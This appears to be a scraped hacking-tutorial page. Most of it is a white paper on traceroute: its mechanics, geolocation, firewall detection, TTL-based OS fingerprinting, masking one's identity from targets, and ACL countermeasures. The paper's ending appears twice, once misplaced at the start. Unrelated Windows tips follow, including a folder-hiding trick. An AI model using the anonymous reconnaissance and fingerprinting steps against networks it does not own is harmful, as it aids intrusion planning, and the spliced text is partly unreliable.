There are several websites, which provide free online traceroute tools. It is such free online traceroute tools, which provide a method of anonymous Tracerouting. All that one has to do to perform anonymous Tracerouting, is following the below steps:
a.) Go to the online traceroute tool and use it to perform a traceroute to the target system. Since only the online tool establishes a direct connection with the target system, thus your identity is protected and only the identity of the online tool's server is revealed. This step just traces the path from the online tool's server to the target system.
b.) In the second step, one has to use a normal traceroute tool to trace the path from our system to the online tool's server.
c.) Finally, if we combine the results obtained by both the above steps, then we would get a complete traceroute result from our system to the target system.
Since in the above steps, we established a direct connection only with the online tool's server, thus our identity is revealed only to this server and not to the target system.
Another method, by which one can perform anonymous Tracerouting, is to register at a shell account provider and then use this shell account to traceroute the target system. However, most shell account service providers are very particular about maintaining logs, which again might reveal your activity on their server.
Detecting Traceroute Attempts on your System
You can detect that an attacker is performing a traceroute on your system, if you see the following symptoms:
1. If you observe port scans on very high UDP ports. This symptom means that the attacker has performed a traceroute on your system. However, it could also mean a simply port scan. Either way, it signifies the fact that your system is being scanned.
2. If the packet-monitoring tool installed in your network, picks up several outgoing TTL-exceeding messages, then it is yet another sign that someone is doing a traceroute on your system.
3. If in these log files, you also observer an outgoing ICMP port unreachable error message, then it means that since a traceroute was done on your system and as the target system i.e. your system, was reached, it responded with this error message.
You can also find our more information on the attacker (if he performs a traceroute on your system) by simply studying the sniffer log files. If you observer the TTL values, then we can easily figure out the following information on the attacker by making use of OS detection techniques discussed earlier in this white paper:
1. The Operating System running on the attacker's target system.
2. Number of hops away, the attacker is from you.
Traceroute Countermeasures
1. Traceroute can easily be used to find how exactly a particular network is organized and to determine the potential entry points. This means that using the traceroute command is one of the first things that a hacker would do on his quest to getting root on a system. It is also widely being used to determine the geographical position of a particular system and to detect the presence of a firewall. Besides this there are several other purposes for which the traceroute command has started being used. This has created increased need to detect and filter out Traceroute requests at either the router level or the system level.
If you wish to log all Traceroute requests, then using any of the commercial Firewalls will do. Certain advanced firewalls not only detect traceroute requests and log them but also send fake responses. Alternatively you could use any of the various third party freeware utilities for this purpose.
Tdetect is one such utility, which detects and logs all ICMP and UDP traceroute packets with a TTL value equal to 1. There is yet another, more interesting, utility named RotoRouter which not only detects and logs all such request but also sends fake responses.
You can easily get any of these utilities at any of the below sites:
http://www.anticode.com
http://www.packetstormsecurify.com
http://www.hackersclub.com
2. It is also advisable that one filters out traceroute requests at as many routers and systems as possible. All that one needs to keep in mind is the fact that we need to look out for ICMP and UDP packets with a TTL value of 1 and filter them out.
The recommended method to prevent your network from responding to traceroute requests is to configure your routers to not respond to any packet having a TTL value of 1. (or 0). This can easily be done by adding the below access list:
access-list 101 deny ip any any 11 0 ! ttl-exceeded
What this basically does is that it configures the router to not respond with a TTL Exceeded message to a traceroute request packet. One could also use the following ACL as a traceroute countermeasure:
access-list 101 deny icmp any any 11 0
On this note, we come to the end of the white paper on traceroute.
Ankit Fadia
ankit@bol.net.in
http://hackingtruths.box.sk
To receive tutorials written by Ankit Fadia join his mailing list by sending a blank email to:
programmingforhackers-subscribe@yahoogroups.com
resourcefulness.
Traceroute was originally developed with the intention of providing a debugging tool, which could be used to pinpoint the exact system or computer on a network (Internet or a Local Network), which was causing the problem experienced. Whenever there was a problem in the data transit or whenever there was a network problem, then the traceroute tool provided the network administrator with an option, which could be used to pinpoint the exact system in the network that was the root of the problem. In other words, the traceroute tool could be used to trace the path of the entire network or a part of the entire network and in this process pinpoint the exact system that was causing the problem experienced.
However, the bottom line remained that the traceroute tool could indeed be used to trace the path taken by a packet from the source system to the destination system, over the Internet.
Whenever a particular chunk of data is to sent from the source system to the destination system, then the data packets sent are first routed through a number of routers (on way to the destination system and if there are any routers in between.) and only then do the data packets arrive at the destination system. The typical path taken by data packets sent by the source to the destination has been depicted by the below figure:
Source System---------Ã Router of the Source Network----------Ã Router of the Source Network's ISP-------Ã Router of the Destination 's ISP-------Ã Router of the Destination Network-----Ã Destination System.
Whenever data travels over the Internet, then it is not necessary that the data packets in question, would automatically take the shortest path possible from the source to the destination system. More often than not, data packets sent across a network end up taking a much longer route than what the shortest route is. This means that most of the times data packets sent across a network end up taking more time for the data transit to be completed, than what it should actually be taking. This brings us to a widely known feature of the Internet:
"It is not necessary for all data packets sent from the same source system to the same destination system across a network, to take the same exact route every single time."
Thus the traceroute tool can be used in order to trace the route taken by data packets from the source system to the destination system. Traceroute displays all the routers through which data packets pass on way to the destination system from the source system. Thus, in effect, we come to know the exact path taken by the data packets in the data transit.
"Traceroute can be used to depict the exact path taken by data packets from the source system to the destination system. However, the path displayed by Traceroute for two data packets sent from the same source system to the same destination system in two different sessions may or may not vary."
For Example,
The below example exhibits a simple traceroute to a remote host, displaying all the routers on way to the destination system:
C:\WINDOWS>tracert 202.*.2.241
Tracing route to 202.*.2.241over a maximum of 30 hops:
1 146 ms 138 ms 126 ms 203.94.246.35
2 146 ms 137 ms 127 ms 203.94.246.1
3 126 ms 133 ms 129 ms 203.94.255.33
4 130 ms 122 ms 128 ms 206.103.10.113
5 134 ms 139 ms 132 ms 203.200.87.75
6 140 ms 125 ms 128 ms 203.200.87.15
7 220 ms 146 ms 137 ms delhi-stm1.Bbone.vsnl.net.in [202.*.2.241]
Traceroute: A Look Under The Hood
The Internet Control Message Protocol or the ICMP protocol is that protocol of the TCP/IP suite, which handles or is used for diagnosing networking problems and reporting error messages. Whenever an error occurs during the data transit then the ICMP protocol jumps in and does the job of reporting and displaying the error that occurred. Thus, the main function of the ICMP protocol is to communicate the error messages to the host and the client systems.
"The ICMP Protocol reports and displays all errors that took place in the data transfer."
The Traceroute tool can be considered to be a part of the ICMP protocol as it makes use of mainly this protocol. The reason why traceroute is able to display the path between the source and destination system is by making use of the ICMP protocol and the error messages that it displays.
The format of a typical ICMP error message, is as follows:
____________________________________________________________________
| | | |
| 8-Bit Type | 8-bit Code | Checksum Value |
| | | |
|_____________ |_____________________|________________________________|
| |
| |
| |
| (Contents depending upon Error that occurred.) |
| |
| |
| |
|___________________________________________________________________ |
The 'Type' and 'Code' fields are the fields, which stand for the type of error message that has occurred. These fields contain a particular value, which tells the client and the host systems as to what error has occurred.
The two error messages that Traceroute mainly makes use of are as follows:
1. The Time Exceeded error message: It has a 'type' value of 11 and a 'code' value of 0. The Time Exceeded error occurs when a particular system receives a data packet with a TTL or Time to Live value of 0 or 1. The below will further explain as to when the this error message is displayed:
"If a system receives a data packet whose TTL field has a value of 0 or 1, then it sends the Time Exceeded error message to the client, who sent the data packet to it."
2. The Port Unreachable error message: It has a 'type' value of 3 and a 'code' value of 3. This error message is displayed when the client system is trying to establish a connection with the host system on a closed port. In other words, such an error occurs when the client system is trying to establish a connection with a port where there is no service or daemon running.
"If a client tries to establish a connection with the host on a closed port, then the host replies with a Port Unreachable error message, sent to the client."
It is with the use of these two ICMP error messages that the Traceroute tool is able to display or trace the exact path from the source system to the destination system. Before we move onto the exact explanation of the working of the traceroute tool, let us learn as to what TTL or Time to Live is?
The Time To Live or the TTL value of a data packet is an 8-bit field, which determines the maximum number of routers through which that particular data packet can pass through. In other words, the TTL value decides the maximum number of routers through which the data packet can pass, before it must be discarded. The TTL value is to a data packet, what the value of maximum age is to a human.
The TTL value depicts the maximum number of routers through which it can pass, before it is declared 'dead' and is dropped.
The TTL value of a packet is set by the source system each time a new data packet is sent by it. The value of the TTL field set by the source system varies from system to system depending upon the operating system running on it. Each router receiving a data packet is expected to decrement the TTL value of that particular packet by 1. This means that if the initial TTL value set by the source system is 64 and if this particular packet passes through 2 routers, then its final TTL value will become 62.
Each time a router receives a data packet, it checks to see what the TTL value of that particular packet is. According to the TTL value of the received packet, the following two cases can take place:
1. If the TTL value of the received packet is greater than 1, then the router decrements this TTL value by 1 and forwards the data packet to the next router.
2. If the TTL value of the received packet is either 0 or 1, then the router discards the data packets and sends back a "Time Exceeded" ICMP error message to the source system, which originally had sent the data packet.
"If the TTL value of the received data packet is greater than 1, then the router decrements the TTL value by 1 and forwards the data packet to the next router. However, if the TTL value of the received data packet is either 0 or 1, then the router discards the packet and sends back a Time Exceeded ICMP error message to the source system."
The original reason behind the introduction of the TTL value was to ensure that the data packets sent across networks, do not end up in infinite loops, which may occur due to unfinished transactions or when the client or server shuts disconnects from the network without following the proper steps required to close all the open connections. However, today the same concept of TTL values is being widely used in the form of the Traceroute command in order to trace paths between source and destination systems on the
Internet.
The first step in the traceroute command is that it creates a packet with a TTL value of 1 and sends it to the destination system (to which the path is to be traced). The first router on way to the destination system from the source system (on which the command was executed) will discard the data packet, as the TTL value of this received data packer is 1. In addition, this first router will also send back a "Time Exceeded" error message to the source system. Since this Time Exceeded error message received by the source system, has its source IP Address as that of the first router, as a result the traceroute tool (running on the source system) will come to know this IP Address of the first router. In this way, the traceroute command comes to know the Address of the first router on the path to the destination system and displays it on the screen.
Similarly, in the next step, traceroute sends a data packet with a TTL value of 2 to the destination system. The first router receiving this data packet will decrement the TTL value of the packet by 1 to 1 and then it would forward the packet to the second router on path to the destination system. This second router would in turn, discard this packet and send back a "Time Exceeded" error message to the source system. Hence, revealing its IP Address. Please note that the second router discards this packet, as the TTL value of this packet is 1.
This process of sending packets with increasing TTL values is carried out, until the data packet has a TTL value high enough to make sure that it reaches the destination system.
Following the above method, Traceroute is able to trace the entire path from the source system to the destination system and also in the process gather the hostnames and IP Addresses of all routers on the path. Until now traceroute has made use of only the first (Time Exceeded) of the two ICMP error messages that we discussed earlier.
When the TTL value is high enough for the data packet to reach the destination system, then by the time the destination system receives the data packet, its TTL value would have been decremented to 1. However, even though the destination system will receive a data packet having a TTL value of 1, it will not discard the packet. This is because the destination (i.e. the system to which the path was to be traced) has been reached. Since the destination system does not discard the data packet that it receives, it means that the destination system does not generate a Time Exceeded error message. As a result, since no "Time Exceeded" error message is generated, the source system does not have any way by which it can ensure that the destination system has been reached.
Thus, in order to deduce that the destination system has indeed been reached, the traceroute command makes use of the "Port Unreachable" error message.
We have already seen in the previous sections that the host generates the "Port Unreachable" error message, when a client is trying to establish a connection with it on a closed port. Traceroute sends UDP (User Datagram Protocol) packets to the destination system on extremely high ports. These high port numbers are chosen in such a manner, that the traceroute tool is sure that there is no service running on these high ports. In effect, the traceroute tool is actually trying to establish a connection on a closed port. Since the destination system receives UDP packets addressed to high "closed" ports, it thus replies with the "Port Unreachable" ICMP error message.
The source system thus can identify that the destination system has been reached, as it would receive a "Port Unreachable" error message from it.
"In the Traceroute tool, if the source system receives a Time Exceeded error message, then a router must have generated it. However, if the source system receives a Port Unreachable error message, then the destination system must have generated it"
The actual working of the traceroute command can be summarized in the following steps:
1. The Traceroute tool sends UDP packets to the destination system on a high port number chosen such that there is no service running on it. Since the chosen port to which the UDP packet have been sent is closed, as a result the destination system replies with a "Port Unreachable" ICMP error message. In this manner, the source system gets to know the Destination system's identity.
2. Traceroute then performs the process of sending data packets with increasing TTL values to the destination system, starting with the initial TTL value of 0. This process reveals the identity of all the routers on the path from the source to the destination system.
3. Traceroute just has to differentiate between the two ICMP error messages that it engineered and received and it will be able to trace the path from the source system to the destination system. The fact that the routers generate a different error message as compared to the destination system is used to differentiate between the two.
"Each router that handles an IP datagram is required to decrement the datagram's TTL value by one or by the number of seconds it holds it. As almost all routers do not hold a datagram longer that 1 second, the TTL value has thus essentially become a hop counter, giving the number of routers through which the datagram has passed."
The following is an example of the typical results displayed by a traceroute command executed on a Windows system:
C:\WINDOWS>tracert yahoo.com
Tracing route to yahoo.com [216.115.108.243] over a maximum of 30 hops:
1 308 ms 142 ms 127 ms 203.94.246.35
2 140 ms 135 ms * 203.94.246.1
3 213 ms 134 ms 132 ms 203.94.255.33
4 134 ms 130 ms 129 ms 203.200.64.29
5 122 ms 135 ms 131 ms 203.200.87.75
6 141 ms 137 ms 121 ms 203.200.87.15
7 143 ms 170 ms 154 ms vsb-delhi-stm1.Bbone.vsnl.net.in [202.54.2.241]
8 565 ms 589 ms 568 ms if-7-0.bb8.NewYork.Teleglobe.net [207.45.198.65]
9 596 ms 584 ms 600 ms if-3-0.core2.NewYork.teleglobe.net [207.45.221.66]
10 * * * Request timed out.
11 703 ms 701 ms 719 ms if-3-0.core2.PaloAlto.Teleglobe.net [64.86.83.205]
12 694 ms 683 ms 681 ms if-6-1.core1.PaloAlto.Teleglobe.net [207.45.202.33]
13 656 ms 677 ms 700 ms ix-5-0.core1.PaloAlto.Teleglobe.net [207.45.196.90]
14 667 ms 673 ms 673 ms ge-1-3-0.msr1.pao.yahoo.com [216.115.100.150]
15 653 ms 673 ms 673 ms vl20.bas1.snv.yahoo.com [216.115.100.225]
16 666 ms 676 ms 674 ms yahoo.com [216.115.108.243]
Trace complete.
Uses of the Traceroute command
Besides being used to identify the system causing the problem in the data transit, traceroute is also used for several different purposes:
1. To trace the geographical location of a particular system.
If one observes the above example closely, then one would find that Traceroute also displays the hostnames of all routers on way to the destination system and also the hostname of the destination system. Hostnames are nothing but the human understandable representations of IP Addresses. They besides containing the address of a system also may or may not store within themselves, some important information on the geographical location of that particular system.
For Example,
In our example we see that the ninth hostname displayed by traceroute is:
if-3-0.core2.NewYork.teleglobe.net
This hostname clearly indicates that that particular router is situated in New York, USA.
Similarly, one should also watch out for hostnames ending in country codes.
For Example,
xyz.jp would mean that that particular system is situated in Japan.
For a complete Country Code Reference List, kindly visit: http://hackingtruths.box.sk/cc.txt
Thus, we can say that Traceroute in some cases can actually be used to pinpoint the exact location of a system on the globe. In most cases, Traceroute is indeed able to locate the city and country in which a particular system is located. Visual Traceroute is specifically widely used for tracing the geographical location of a system on the Internet.
2. To Get Information on Network Topography
Using the traceroute command, one can find out the manner in which a particular network is structured, the class to which it belongs and in general, to get related information on topography of a remote network. Getting more information on the network topography of the target network can be used to determine a list of possible weak points, which could be exploited.
3. Firewall Detection Purposes
Using the traceroute tool, one can also detect the presence of a firewall installed on the target system's network. If you execute traceroute and find the '*' (asterix) sign as an entry in the output, then it means that the traceroute attempt has timed out. However, if you repeat the same traceroute procedure to the target system several times at different times of the day and still receive the same output with the '*', then it probably means that a firewall has been installed on the target system. The asterix signs are being displayed as the firewall installed on the target system's network is filtering out your traceroute attempts and as a result, the target system does not reply to your requests and thus a time out is "artificially created" by the firewall.
The above concept can be summarized in the following steps:
1. Your traceroute program sends packets to the target system, however the firewall installed on the target system's network intercepts these packets, making sure that the target system does not receive them.
2. Since the target system does not receive the Traceroute data packets, as a result it does not reply with the ICMP error message, as it is normally supposed to. Thus, your system does not receive any response.
3. After the passage of some amount of time, if still no response is received, then the connection gets timed out, due to "artificial" conditions created due to the filtering done by the firewall. As a result, asterix are displayed in the output.
A typical output, which shows the presence of a firewall installed on the target system, is as below-:
C:\windows>tracert target.com
Tracing route to target.com [207.x.197.100] over a maximum of 30 hops:
1 140 ms 126 ms 128 ms 203.94.246.35
2 137 ms 125 ms 138 ms 203.94.246.1
3 125 ms 136 ms 169 ms 203.94.255.33
4 137 ms 139 ms 130 ms 203.200.64.149
5 138 ms 119 ms 130 ms 203.200.87.15
6 168 ms 157 ms 161 ms vsb-delhi-stm1.Bbone.vsnl.net.in [202.54.2.241]
7 345 ms 377 ms 359 ms if-4-0.bb7.NewYork.Teleglobe.net [209.58.17.5]
8 351 ms * 407 ms if-3-2.core2.NewYork.Teleglobe.net [207.45.220.09]
9 445 ms 450 ms 425 ms if-8-0.core1.Seattle.Teleglobe.net [64.86.83.1]
10 432 ms 436 ms 437 ms if-8-0-0.bb1.Seattle.Teleglobe.net [207.45.223.8]
11 766 ms 740 ms 668 ms iuscmdistc1206-p-7-0.msft.net [207.46.190.117]
12 * * * Request timed out.
13 * * * Request timed out.
14 * * * Request timed out.
15 * * * Request timed out.
Ctrl+C
In the above output, we see that after hop number 11, no results are shown. The same procedure of traceroute is repeated several times, however, still we receive the same result. This probably means that a firewall is installed after router number 11 and it is filtering out all traceroute attempts.
4. Remote OS Detection using Traceroute
Traceroute used along with a packet sniffer can be used to detect the name and version of the operating system running on the target system.
We have already learnt that the TTL value of a data packet is an 8-bit value, set by the system, which originally created and sent that particular data packet. Every operating system has a certain default TTL value associated with it. Every operating system assigns this default TTL value to all outgoing data packets. This in effect means that the initial TTL values of all data packets originating at the same operating system will be same.
This means that if there are two different systems, each running Windows 95, then all packets sent by either of these two systems (running the same operating system) will actually have the same initial TTL value. Hence, different operating systems assign different TTL values to all outgoing packets, while all systems running the same operating system will attach the same TTL value to all outgoing data packets.
"Initial TTL values of all data packets originating at the same OS but different systems will be same. However, TTL values of all data packets originating at the same system (where two OS's are running) but sent using different Operating systems will have different initial TTL values."
The below is a complete reference list of operating systems and their respective initial, default TTL values:
Note: The following table is courtesy Lance Spitzner and the Honeypot Project.
OS VERSION PLATFORM TTL
Windows 9x/NT Intel 32
Windows 9x/NT Intel 128
Windows 2000 Intel 128
DigitalUnix 4.0 Alpha 60
Unisys x Mainframe 64
Linux 2.2.x Intel 64
FTX(UNIX) 3.3 STRATUS 64
SCO R5 Compaq 64
Netware 4.11 Intel 128
AIX 4.3.x IBM/RS6000 60
AIX 4.2.x IBM/RS6000 60
Cisco 11.2 7507 60
Cisco 12.0 2514 255
IRIX 6.x SGI 60
FreeBSD 3.x Intel 64
OpenBSD 2.x Intel 64
Solaris 8 Intel/Sparc 64
Solaris 2.x Intel/Sparc 255
Before we move onto the step-by-step guide to OS Detection with the help of TTL values and traceroute, there are certain rules, which one must remember:
a.) All packets sent by a particular operating system will have the same initial TTL value, which will decrement, each time that particular packet passes through a router.
b.) TTL values are stored in the TTL field, which is a part of the IP Header of a data packet. ICMP error messages are nothing but error messages encapsulated within an IP Datagram. These IP datagrams have the TTL field as one of its fields. This means that an ICMP error message too will have an IP Header with it and in effect all ICMP error message too will have a TTL value associated with them.
Thus, one can easily determine the OS running on the remote system by following the below steps-:
a.) Determine the number of hops (routers) between your system and the target system
The first step to perform is to determine the number of hops between your system and the target system. In other words, one must determine the number of routers on path to the target system from your system i.e. number of routers between your system and the target system. This can easily be done, by using the traceroute command.
C:\windows>tracert target.com
Tracing route to target.com [203.x.y.224] over a maximum of 30 hops:
1 308 ms 142 ms 127 ms 216.34.46.11
2 140 ms 135 ms * 203.94.246.1
3 213 ms 134 ms 132 ms 203.94.255.33
4 134 ms 130 ms 129 ms 203.200.64.29
5 122 ms 135 ms 131 ms 203.200.87.75
6 141 ms 137 ms 121 ms 203.x.y.224
Trace Complete.
In the above example, we see that the target system was reached in 6 steps. This means that there are 5 routers separating your system and the target system. In other words, if data is sent from your system to the target system or if data is sent from the target system to your system, then as there are 5 routers through which the data must pass, as a result the TTL value of the data packets will be decremented by 5 in the data transit.
In other words, if the initial TTL value of the data packet were set to 128 by the target system, then when your system receives that particular data packet, then its TTL value would already have been reduced to 123. (As it passes through 5 routers in the data transit.)
"The number of routers in between your system and the target system, tells you as to by how much the initial TTL value set by either system will be reduced in the data transit between the two systems."
In our example, we have already seen that since there are 5 routers in between our system and the target system, thus the TTL value is reduced by 5 in the data transit, between the two systems.
b.) Determine the final TTL value of a data packet sent by the target system to your system
When the target system sends a data packet to your system, then it sets the initial TTL value of the data packet to a default value (according to the earlier chart.). Each router on the path from the target system to your system reduces this initial TTL value by 1 and forwards the data packet to the next router. Finally, when your system receives that particular data packet, then the TTL value of the data packet at that time is less than the initial TTL value that it was given by the target system, as the routers had already reduced the TTL value.
Hence, the TTL value of a data packet when your system receives it (final TTL value) is much lesser than the initial TTL value that the same data packet was given by the target system. This difference in the TTL values of the data packet is due to the fact that each router in the path, reduce the TTL value of the data packet by one.
"The initial TTL value is the TTL value set by the target system, while the final TTL value is the TTL value which the same data packet has, when it reaches your system. The initial TTL value is always greater than the final TTL value."
The final TTL value of a data packet sent by the target system can easily be determined by sending any arbitrary data to the target system. The response generated by the target system, due to this arbitrary packet can then be found out, by logging all incoming data packets, on your system, using a packet sniffing software.
In our example, we run the packet-sniffing tool in the background, while we simply do a traceroute on the target system. This packet-sniffing tool must be configured to monitor and log all incoming data packets.
When we traceroute the target system (or send any other arbitrary data to the target system) then we generate a response from the target system. Since we use traceroute in our example, the target system generates an ICMP error message, which is nothing but an error message encapsulated within an IP Datagram. Hence, since the packet sniffing software is monitoring and logging all incoming data packets, it is thus also able to log the incoming ICMP error message.
Once we have logged the response generated by the target system we can easily determine the reduced or final TTL value of the packet containing this response.
For our example, let us assume the final TTL value to be 27. We already know that the number of routers between our system and the target system is 5.Thus in other words the TTL value of a data packet sent by the target system to our system, is reduced by 5.
Initial TTL value of a data packet= Final TTL value of the packet + Number of routers in the path
As a result, in our example, hence the initial TTL value becomes 27+5=32.
c.) Comparing the Deduced Initial TTL value to the default TTL values chart
In the previous step, we have deduced the initial TTL value set by the target system, to be 32. If we compare this initial TTL value, to the chart, then we know that the target system is probably running either Windows NT or Windows 9x.
Hence, by following the above 3 steps in which we make use of traceroute, TTL values and packet sniffers, we can thus, get a very good idea regarding the type of Operating system running on the target system. The process of OS Detection discussed above, can be summarized in the following steps:
1. Determine the number of hops away, the target system lies. This can be done using the traceroute tool.
2. Send any arbitrary data to the target system, in order to generate a response. This response is logged using a packet-sniffing tool running on your system. Using the sniffed data, determine the final TTL value of the target system.
3. Use the relation: Initial TTL value= Final TTL value + Number of hops away it is located, to determine the target system's initial TTL value.
4. Finally, compare the initial TTL value determine in Step 3 with the chart and get the OS running on the target system.
Example for Remote OS Detection using this method
Following the above 4 steps method, let us take an example, to determine the operating system running on the target system.
1. In the first step, we traceroute the target system to determine the number of hops away the target system lies. This is done in the using the simple traceroute tool:
C:\WINDOWS>tracert 202.x.2.241
Tracing route to target.net.in [202.x.2.241] over a maximum of 30 hops:
1 130 ms 121 ms 133 ms 203.94.246.35
2 132 ms 128 ms 120 ms 203.94.246.1
3 123 ms 126 ms 125 ms 203.94.255.33
4 193 ms 137 ms 128 ms 203.200.64.153
5 128 ms 133 ms 127 ms 203.200.87.15
6 204 ms 141 ms 154 ms target..net.in [202.x.2.241]
Here we see that the target system (i.e. target.net.in) is 5 hops away from our system. In other words, there are 5 routers between our system and the target system.
2. In the second step, using a packet sniffing software, we find that each time we send a Data packet to the target system, it replies with a response whose TTL value is always 250.
3. Using the relation discussed earlier, we find that the initial TTL value of all data Packets sent by the target system, to our system is 250+5=255.
4. Comparing this initial TTL value to the chart, we find that the operating system Running on the target system is probably Solaris. (We remove Cisco from the list of probabilities by other remote OS detection methods, like banner grabbing, command manipulation, passive and active fingerprinting, ICMP scanning etc.)
Shortcomings and Countermeasures to OS Detection
This type of remote OS Detection method may not be accurate every single time. This method, however, most of the times does remain fairly accurate.
One simple countermeasure that one could apply to prevent OS detection through prediction of initial TTL value of your system is by changing the default TTL value that your operating system assigns to all outgoing packets.
"Traceroute can be used to detect firewalls, remote OS detection, getting information on network topography, tracing a system geographically and to detect infinite loops routing errors in networks etc."
Breeds of the Traceroute Command
There are several variations or breeds of the very popular Traceroute tool. The most common and popular forms of the traceroute utility are as follows:
1. Text Based Traceroute Tools
Almost every operating system ships with its own text based traceroute tool. Such text based traceroute tools display the path from the source system to the destination system, in the form of a normal text based result page. Such traceroute tools are probably the most commonly available and most commonly used. They are quite effective too.
Pros and Cons
+Ships with almost all operating systems
+Free to use
+Classic example of the traceroute tool
-Not as visually appealing as other breeds
2. Visual Traceroute:
This breed of the traceroute tool is in my opinion probably the easiest to use, best and most effective breed. It maps the path from the location of the source system to that of the destination system on a world map and is very accurate in this respect. It not only displays the exact geographical location of the systems, but also mentions the IP Addresses of all systems and their organization names. Visual Traceroute's latest version also has a new feature, which claims to trace the location of email spammers and analyze and detect network problems.
Pros and Cons
+Maps the path on a world map
+Very Accurate
+Visually Attractive and Easy to use
+Displays names of organization owning the servers
-Not Free to Use
3. 3D traceroute Programs: The final breed of Traceroute tools is also a quite good and effective one. The 3D Traceroute program displays the path from the source system to the destination system, in the form of a 3D graph. It also displays tons of other information, including the minimum, maximum, average and standard deviation. On top of everything, this program also displays the exact latitude, longitude and altitude at which the routers and the destination system are located. I would definitely recommend this program to be checked out at least once by every one even remotely related to computer security.
Pros and Cons
+Free to Use
+Displays tons of information about routers and destination system
+Effective and displays even advanced information
-Lacks a bit on the Usability side
Download URL: http://www.hlembke.de/prod/3dtraceroute/
Fadia's Hot Pick for Traceroute Breeds
1. Utility Name: Visual Traceroute
Features: Maps the path to a remote system on a world map and displays the hostname, name and other important information about all routers and even the destination system.
Download URL: http://www.visualware.com/visualroute/index.html
Anonymous 'Tracerouting'
No matter what tool one might use to Trace the path to the target system, one is always exposing ones identity to the target system. Each time you traceroute a remote system, you are actually putting your IP Address or putting your identity at risk and are putting behind your traces (read: IP Address) on the target system's log files.
This means that the system administrator of the target system does actually come to know your identity and he might also be able to trace you. Thus, arises the need of a technique of Anonymous Tracerouting.
When you normally traceroute a remote system, using any normal technique, then since a direct connection has been established between your system and the remote system, thus your identity gets revealed to the remote system. However, on the other hand, if there were a way by which one could perform a traceroute on a target system via an indirect connection, then one's identity would be
protected.
There are several websites, which provide free online traceroute tools. It is such free online traceroute tools, which provide a method of anonymous Tracerouting. All that one has to do to perform anonymous Tracerouting, is following the below steps:
a.) Go to the online traceroute tool and use it to perform a traceroute to the target system. Since only the online tool establishes a direct connection with the target system, thus your identity is protected and only the identity of the online tool's server is revealed. This step just traces the path from the online tool's server to the target system.
b.) In the second step, one has to use a normal traceroute tool to trace the path from our system to the online tool's server.
c.) Finally, if we combine the results obtained by both the above steps, then we would get a complete traceroute result from our system to the target system.
Since in the above steps, we established a direct connection only with the online tool's server, thus our identity is revealed only to this server and not to the target system.
Another method, by which one can perform anonymous Tracerouting, is to register at a shell account provider and then use this shell account to traceroute the target system. However, most shell account service providers are very particular about maintaining logs, which again might reveal your activity on their server.
Detecting Traceroute Attempts on your System
You can detect that an attacker is performing a traceroute on your system, if you see the following symptoms:
1. If you observe port scans on very high UDP ports. This symptom means that the attacker has performed a traceroute on your system. However, it could also mean a simply port scan. Either way, it signifies the fact that your system is being scanned.
2. If the packet-monitoring tool installed in your network, picks up several outgoing TTL-exceeding messages, then it is yet another sign that someone is doing a traceroute on your system.
3. If in these log files, you also observer an outgoing ICMP port unreachable error message, then it means that since a traceroute was done on your system and as the target system i.e. your system, was reached, it responded with this error message.
You can also find our more information on the attacker (if he performs a traceroute on your system) by simply studying the sniffer log files. If you observer the TTL values, then we can easily figure out the following information on the attacker by making use of OS detection techniques discussed earlier in this white paper:
1. The Operating System running on the attacker's target system.
2. Number of hops away, the attacker is from you.
Traceroute Countermeasures
1. Traceroute can easily be used to find how exactly a particular network is organized and to determine the potential entry points. This means that using the traceroute command is one of the first things that a hacker would do on his quest to getting root on a system. It is also widely being used to determine the geographical position of a particular system and to detect the presence of a firewall. Besides this there are several other purposes for which the traceroute command has started being used. This has created increased need to detect and filter out Traceroute requests at either the router level or the system level.
If you wish to log all Traceroute requests, then using any of the commercial Firewalls will do. Certain advanced firewalls not only detect traceroute requests and log them but also send fake responses. Alternatively you could use any of the various third party freeware utilities for this purpose.
Tdetect is one such utility, which detects and logs all ICMP and UDP traceroute packets with a TTL value equal to 1. There is yet another, more interesting, utility named RotoRouter which not only detects and logs all such request but also sends fake responses.
You can easily get any of these utilities at any of the below sites:
http://www.anticode.com
http://www.packetstormsecurify.com
http://www.hackersclub.com
2. It is also advisable that one filters out traceroute requests at as many routers and systems as possible. All that one needs to keep in mind is the fact that we need to look out for ICMP and UDP packets with a TTL value of 1 and filter them out.
The recommended method to prevent your network from responding to traceroute requests is to configure your routers to not respond to any packet having a TTL value of 1. (or 0). This can easily be done by adding the below access list:
access-list 101 deny ip any any 11 0 ! ttl-exceeded
What this basically does is that it configures the router to not respond with a TTL Exceeded message to a traceroute request packet. One could also use the following ACL as a traceroute countermeasure:
access-list 101 deny icmp any any 11 0
On this note, we come to the end of the white paper on traceroute.
Ankit Fadia
ankit@bol.net.in
http://hackingtruths.box.sk
To receive tutorials written by Ankit Fadia join his mailing list by sending a blank email to:
programmingforhackers-subscribe@yahoogroups.com
THIS IS CRAZY
Set Processes Priority
Follow this tip to increase the priority of active processes, this will result in prioritisation of processes using the CPU.
CTRL-SHIFT-ESC
1.Go to the second tab called Processes, right click on one of the active processes, you will see the Set Priority option
2.For example, your Run your CDwriter program , set the priority higher, and guess what, no crashed CD’s
Shutdown Trick !
Imidiate rapid shut down window
while shutting down window. open task manager(Ctr+Alt+Del),
Select shut down tab. and press ' Ctrl ' key while select Turn Off from dis tab.
Count 5 4 3 2 1 Voila!!! U r window will rapidly shut down.
Speed Up Ur Shut down !!
Start Regedit.
Navigate to HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control.
Click on the "Control" Folder.
Select "WaitToKillServiceTimeout"
Right click on it and select Modify.
Set it a value lower than 2000 (Mine is set to 200).
and !
Like previous versions of windows, it takes long time to restart or shutdown windows xp when the "Exit Windows" sound is enabled. to solve this problem you
must disable this useless sound. click start button then go to settings -> control panel -> Sound,Speech and Audio devices -> Sounds and Audio Devices -> Sounds, then under program events and windows menu click on "Exit Windows" sub-menu and highlight it.now from sounds you can select,choose "none" and then click apply and ok. now you can see some improvements when shutting down your system.
**new **
Crazy !!
Hide ur folders.. never known trick !!!!!!!!!! Disguise them to "Recycle Bin"
Rename any folder with extension {645FF040-5081-101B-9F08-00AA002F954E}
eg,
if u've a folder games
press F2,
then type, "games.{645FF040-5081-101B-9F08-00AA002F954E}"
c the magic....
then 2 get to original form,
remove the extension using
"ren games.{645FF040-5081-101B-9F08-00AA002F954E} games" in dos or as a bat file
n u are done..
~cheers~
System information
system up time only for xp professional edition
It boasts how long it can stay up. Whereas previous
versions of Windows were coy about how long they went
between boots, XP is positively proud of its stamina.
Go to the Command Prompt in the Accessories menu from
the All Programs start button option, and then type
'systeminfo'. The computer will produce a lot of
useful info, including the uptime. If you want to keep
these, type 'systeminfo > info.txt'. This creates a
file called info.txt you can look at later with
Notepad. (Professional Edition only).
